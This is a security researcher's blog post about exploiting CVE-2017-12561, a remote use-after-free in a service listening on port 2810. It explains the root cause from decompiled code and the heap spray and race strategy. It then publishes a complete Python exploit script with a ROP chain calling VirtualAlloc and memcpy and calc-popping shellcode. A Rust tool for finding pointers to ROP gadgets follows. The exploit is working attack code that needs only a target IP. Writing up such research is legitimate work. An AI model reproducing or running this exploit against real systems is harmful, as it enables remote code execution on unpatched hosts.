1922-Day for CVE-2017-12561
I decided to share my exploit for CVE-2017-12561 since @primal0xF7
already made public an exploit for it and I believe it's useful to see different ways of exploiting the same vulnerability.
Recently, it was necessary to write an RCE exploit for a remote UAF N-day vulnerability (ZDI-17-836). This post goes through root cause analysis and exploitation. Also, I present a tool / methodology to avoid heap sprays.https://t.co/nCHNXTGgFs
— Faisal Tameesh (@primal0xF7) January 3, 2023
I'm not going to explain much about the vulnerability so go read @primal0xF7
's blog post first, it's also good manners since he was the first to publish the exploit.
CVE-2017-12561 (ZDI-17-836)
You can find the advisory for this vulnerability in the following link. We basically have a binary listening in port 2810 that parses different commands, the command 10012 deletes the input handler object after an error without taking into account that it's later used by another function.
The Use state
The executable makes use of the freed object by calling a function in its virtual function table (vftable) at offset 0x28. Also if the value at offset 0x14 is zero it later calls the virtual function at offset 0x4C. I like the second call more because EAX points to the vftable which means it's easier to find nice ROP gadgets.
mov edx, [esi] ; ESI points to freed object
mov edx, [edx+28h]
test eax, eax ; EAX is [ESI+0x14]
mov eax, [esp+24h+var_4]
push eax
push ecx
mov ecx, esi
setz bl
call edx
test bl, bl
jz short loc_1007B83C
mov eax, [esi]
mov edx, [eax+4Ch]
mov ecx, esi
call edx
The object is allocated as 0x28 sized heap memory (0x24 requested and 8 byte alligned), we do not care much about its fields aside from the vftable and possibly the offset 0x14 if we want to use the second call.
The exploit
After a brief look at some of the available commands I noticed that command 10001 does not free the allocated memory for the command after an error. That means we have a primitive to allocate arbitrary sized memory with arbitrary contents.
case 0x2711u:
*(_DWORD *)v379 = ACE_SOCK_IO::recv((ACE_SOCK_IO *)&v377, &netlong, 4u, 0);
if ( *(_DWORD *)v379 == 4 )
{
netlong = ((((int)netlong s>> 16) & 0xFF00) s>> 8) | (BYTE2(netlong) << 8) | ((((int)(netlong & 0xFF00) s>> 8) | ((unsigned __int8netlong << 8)) << 16);
v312 = (char *)operator new[](netlong); // We control this allocation
v364 = v312;
// We control this content
*(_DWORD *)v379 = ACE_SOCK_IO::recv((ACE_SOCK_IO *)&v377, v312, netlong, 0);
if ( *(_DWORD *)v379 == netlong )
{
// SNIP
}
else
{
// O-perator delete[](v364), Where Art Thou?
v57 = -1;
v311 = &v52;
v165 = &v52;
SNACC::AsnEnum::AsnEnum((SNACC::AsnEnum *)&v52, 1);
*v165 = (int)&SNACC::AsnDbmanCmdCode::`vftable';
v165[2] = (int)&SNACC::AsnDbmanCmdCode::`vftable';
v111 = v165;
sub_464510((ACE_SOCK_Stream *)&v377, v51, v52, v53, v54, v55, v56);
sub_475470(
1,
v376,
"Receive AsnDbmanCmdCode::iMSG_V001_REMOTE_DISK_DIRECTORY_REVIEW_PLAT_REQ data error expect %d byte"
"s infact %d bytes",
netlong,
*(_DWORD *)v379);
v310 = -1;
v382 = -1;
ACE_SOCK_Stream::~ACE_SOCK_Stream((ACE_SOCK_Stream *)&v377);
result = v310;
}
Since I'm lazy I initially tried sending a large packet (around 0x1000000 bytes) containing my ROP chain repeated at regular intervals. The idea was to have the chain act as a fake vftable and then overwrite the vftable pointer to point to a heap address that I would surely control after sending such a large packet.
Unfortunately, the executable is not very nice and stops receiving bytes after around 0x2000, which makes me sad :(. So instead of sending a single 0x1000000 sized packet I send 0x10000 packets with size 0xf8 containing my ROP chain. That means we still control those 0x1000000 minus the heap metadata and a packet size of 0xf8 makes sure our packets will be 0x100 alligned in memory. We end up with a memory layout looking something like this:
We then race the UAF by sending commands 10001 in a loop that allocate objects of size 0x28, if we get lucky we will overwrite the UAF object and point the the vftable to our fake vftable that we sprayed in the heap.
I then created a simple ROP chain that uses xchg eax, esp; ret
to pivot the stack to our controlled fake vftable, a good reason to use the second call instead of the first in the "use" state. The ROP chain then saves the original stack pointer in ESI for process continuation, which I didn't end up implementing. The chain then calls VirtualAlloc from the imports table to allocate RWX memory at a known address and then uses memcpy to write a shellcode to that address and finally jumps to it.
Below you can find a video popping a calculator since it's customary and the exploit code.
import socket, struct, time
from multiprocessing import Process
HOST="PUT.SERVER.IP.HERE"
PORT=2810
socket.timeout(10)
u32 = lambda ba: struct.unpack('<L', ba)[0]
p32 = lambda i: struct.pack('<L',i)
# SkyLined's Calc shellcode
calc = (
b"\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64"
b"\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B"
b"\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20"
b"\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07"
b"\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74"
b"\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7")
rop_chain = p32(0x489c45) # 0x489c45 --> xchg eax, edi ; ret ; \x97\xc3
rop_chain+= p32(0x1005084E) # jmp VirtualAlloc
rop_chain+= p32(0x428f50) # 0x428f50 --> ret ; \x64\xc3
rop_chain+= p32(0x06000000) # lpAddress
rop_chain+= p32(0x00001000) # dwSize
rop_chain+= p32(0x00003000) # flAllocationType (MEM_COMMIT | MEM_RESERVE)
rop_chain+= p32(0x000040) # flProtect
rop_chain+= p32(0x428f50) # 0x428f50 --> ret ; \x64\xc3
rop_chain+= p32(0x428f50) # 0x428f50 --> ret ; \x64\xc3
rop_chain+= p32(0x428f9f) # 0x428f9f --> pop eax ; ret ; \x58\xc3
rop_chain2 =p32(0x049B05E) # jmp memcpy
rop_chain2+=p32(0x06000000) # lpAddress
rop_chain2+=p32(0x06000000) # dest (lpAddress)
rop_chain2+=p32(0x33150B0) # src (shellcodeAddress)
rop_chain2+=p32(len(calc)) # count
payload = rop_chain
payload+= p32(0x403610) # heap + 0x28: 0x403610: retn 0x0008 ; \xc2\x08\x00
payload+= rop_chain2
payload+= b"B"*0xC # padding
payload+= p32(0x428e15) # heap + 0x4c: 0x428e15 --> xchg eax, esp ; ret ; \x94\xc3
payload+= calc # shellcode
heap_addr = p32(0x3315060) # target heap address after heap spray
def heap_spray():
for j in range(16):
for i in range(4096):
with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as s:
s.connect((HOST,PORT))
s.sendall(b"\x00\x00\x27\x11\x00\x00\x00\xf8"+payload)
def trigger_uaf():
while True:
with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as s:
s.connect((HOST,PORT))
s.send(b"\x00\x00\x27\x1c\x00\x00\x00\x04AAAA")
print(".")
time.sleep(0.5)
def race_uaf():
while True:
with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as s:
s.connect((HOST,PORT))
s.send(b"\x00\x00\x27\x11\x00\x00\x00\x28"+heap_addr+b"\x00"*0x20)
def main():
heap_spray()
input("Press enter to race")
print("Vroooom")
p = Process(target=race_uaf)
p2 = Process(target=trigger_uaf)
p.start()
time.sleep(5)
p2.start()
p.join()
p2.join()
if __name__ == "__main__":
main()
Improvements
Some stuff that I left out and it would be nice to add:
- UAF race stability: the racing of the UAF to overwrite the used object is not reliable and the exploit crashes sometimes.
- Process continuation: simply use the saved stack to repair the changes and also stop triggering the UAF in a loop.
- Adjust heap spray: the exploit spends a couple of seconds spraying the heap, with a bit more analysis we could reduce the number of sent packets and time spent.
Extras
Since I liked the script created by @primal0xF7
and I needed an excuse to write some Rust, I reimplemented it with some extra features.
- Multithreading
- Detects endianness and address size from the provided executable
- Uses the image base of the executable
$ gyul --help
Simple program to find pointers to ROP gadgets
Usage: gyul [OPTIONS] --gadgets-file <GADGETS_FILE> --executable <EXECUTABLE>
Options:
-g, --gadgets-file <GADGETS_FILE> File containing ROP gadgets generated by rp++
-e, --executable <EXECUTABLE> Executable where we will search for pointers to ROP gadgets
-b, --base-address <BASE_ADDRESS> Hexadecimal address to use for pointer rebasing [default: image_base]
-h, --help Print help information
-V, --version Print version information
I might clean it up a bit and upload it to a GitHub repository, but in the meantime you can find the code below.
use clap::Parser;
use object::{Endianness, File, Object, ObjectSection};
use rayon::prelude::*;
use regex::Regex;
use std::{fs, ops::Deref};
/// Simple program to find pointers to ROP gadgets
#[derive(Parser, Debug)]
#[command(version)]
struct Args {
/// File containing ROP gadgets generated by rp++
#[arg(short, long)]
gadgets_file: String,
/// Executable where we will search for pointers to ROP gadgets
#[arg(short, long)]
executable: String,
/// Hexadecimal address to use for pointer rebasing [default: image_base]
#[arg(short, long, value_parser = parse_hex )]
base_address: Option<usize>,
}
fn parse_hex(hex_str: &str) -> Result<usize, std::num::ParseIntError> {
let clean_hex = hex_str.strip_prefix("0x").unwrap_or(hex_str);
usize::from_str_radix(clean_hex, 16)
}
fn main() {
let args = Args::parse();
// Read the executable file and extract the endianness and the address size of the file
let file_bytes = fs::read(args.executable).expect("Error reading executable file");
let obj_file = File::parse(file_bytes.deref()).expect("Error parsing executable");
let obj_endianness = obj_file.endianness();
let obj_address_size = obj_file
.architecture()
.address_size()
.expect("Unknown architecture")
.bytes() as usize;
// Calculate the base address to use for pointer rebasing
let base_address = args
.base_address
.unwrap_or(obj_file.relative_address_base() as usize);
// Extract the sections of the object as a vector of tuples, where each tuple contains the address of the section and its data
let sections_bytes: Vec<(usize, &[u8])> = obj_file
.sections()
.map(|s| {
(
(s.address() - obj_file.relative_address_base()) as usize,
s.data().unwrap_or_default(),
)
})
.collect();
// Read the ROP gadgets file and extract the hexadecimal addresses and the corresponding lines of ROP gadgets.
// Parse the addresses into a byte array depending on the endianness of the executable file.
let rop_gadgets = fs::read_to_string(args.gadgets_file).expect("Error reading file");
let re = Regex::new(r"^0x([0-9a-fA-F]+):").unwrap();
let mut addresses: Vec<[u8; 8]> = Vec::new();
let mut rop_lines = Vec::new();
for line in rop_gadgets.lines() {
if let Some(captures) = re.captures(line) {
let hex_address = captures.get(1).unwrap().as_str();
let address_bytes = match obj_endianness {
Endianness::Little => u64::from_str_radix(hex_address, 16)
.expect("Invalid hexadecimal string")
.to_le_bytes(),
Endianness::Big => u64::from_str_radix(hex_address, 16)
.expect("Invalid hexadecimal string")
.to_be_bytes(),
};
addresses.push(address_bytes);
rop_lines.push(line);
}
}
// Search for pointers to the ROP gadget addresses in the sections of the executable file. It uses rayon's par_windows method to perform
// the search in parallel, and the enumerate and filter_map methods to find the indices of the addresses and their corresponding ROP gadget lines.
let found_addresses = sections_bytes.into_iter().flat_map(|(s_addr, s_data)| {
s_data
.par_windows(obj_address_size)
.enumerate()
.filter_map(|(i, window)| {
addresses
.iter()
.map(|addr| addr.get(..obj_address_size).unwrap())
.position(|addr| addr == window)
.map(|addr_i| (i + s_addr, rop_lines[addr_i]))
})
.collect::<Vec<(usize, &str)>>()
});
found_addresses.for_each(|(a, l)| println!("{:#010X} --> {}", a + base_address, l));
}
See you later, alligator! :)